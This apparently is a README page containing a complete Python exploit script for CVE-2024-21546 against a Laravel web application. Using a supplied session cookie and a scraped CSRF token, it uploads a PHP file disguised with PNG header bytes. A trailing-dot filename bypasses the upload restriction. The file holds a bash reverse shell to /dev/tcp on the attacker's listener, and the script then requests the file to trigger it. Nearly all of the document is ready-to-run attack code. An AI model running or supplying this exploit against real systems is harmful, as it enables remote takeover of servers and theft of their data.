README.md
Rendering markdown...
import sys
import requests
import re
import random
import string
def ensure_url_structure(target):
if not target.startswith(('http://', 'https://')):
print("[-] URL missing scheme (http:// or https://), adding http:// by default.")
target = "http://" + target
if not target.endswith('/'):
target += '/'
return target
def validate_session(target, session_value):
url = f"{target}management/dashboard" #Feel free to modify the path
cookies = {'laravel_session': session_value}
response = requests.get(url, cookies=cookies)
return "logout" in response.text.lower() or response.status_code == 200
def get_csrf_token(target, session_value):
url = f"{target}"
cookies = {'laravel_session': session_value}
response = requests.get(url, cookies=cookies)
# Regex to extract _token value from HTML
match = re.search(r'name="_token"\s+value="([^"]+)"', response.text)
return match.group(1) if match else None
def random_filename(length=6):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def upload_shell(target, session_value, csrf_token, listener_ip, listener_port, filename):
url = f"{target}upload" # Adjust upload endpoint if needed
boundary = "----WebKitFormBoundarysBLElj9BbeeJcfkB"
headers = {
'Content-Type': f'multipart/form-data; boundary={boundary}'
}
shell_payload = (
b"\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52"
+ f"<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1'\"); ?>".encode()
)
# Manually build the multipart form body
data = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"_token\"\r\n\r\n"
f"{csrf_token}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"upload\"; filename=\"{filename}.php.\"\r\n" #Bypassing restriction by adding a dot (CVE-2024-21546)
f"Content-Type: image/png\r\n\r\n"
).encode() + shell_payload + f"\r\n--{boundary}--\r\n".encode()
cookies = {'laravel_session': session_value}
response = requests.post(url, headers=headers, cookies=cookies, data=data)
print(f"[+] Upload status: {response.status_code}")
print(response.text)
def main():
if len(sys.argv) != 5:
print("Usage: python3 CVE-2024-21546.py <target_url> <listener_ip> <listener_port> <laravel_session>")
sys.exit(1)
target_url, listener_ip, listener_port, session_value = sys.argv[1:]
target = ensure_url_structure(target_url)
print("[*] Validating session...")
if not validate_session(target, session_value):
print("[-] Invalid session.")
sys.exit(1)
print("[+] Session is valid.")
print("[*] Fetching CSRF token...")
csrf_token = get_csrf_token(target, session_value)
if not csrf_token:
print("[-] Failed to retrieve CSRF token.")
sys.exit(1)
print(f"[+] Got CSRF token: {csrf_token}")
print("[*] Uploading reverse shell...")
filename = random_filename()
upload_shell(target, session_value, csrf_token, listener_ip, listener_port, filename)
print("[+] Triggering the reverse shell...")
try:
requests.get(f"{target}storage/files/{filename}.php", timeout=5)
except requests.exceptions.RequestException:
pass
print("[+] Done. If listener is up, you should have a shell.")
sys.exit(0)
if __name__ == "__main__":
main()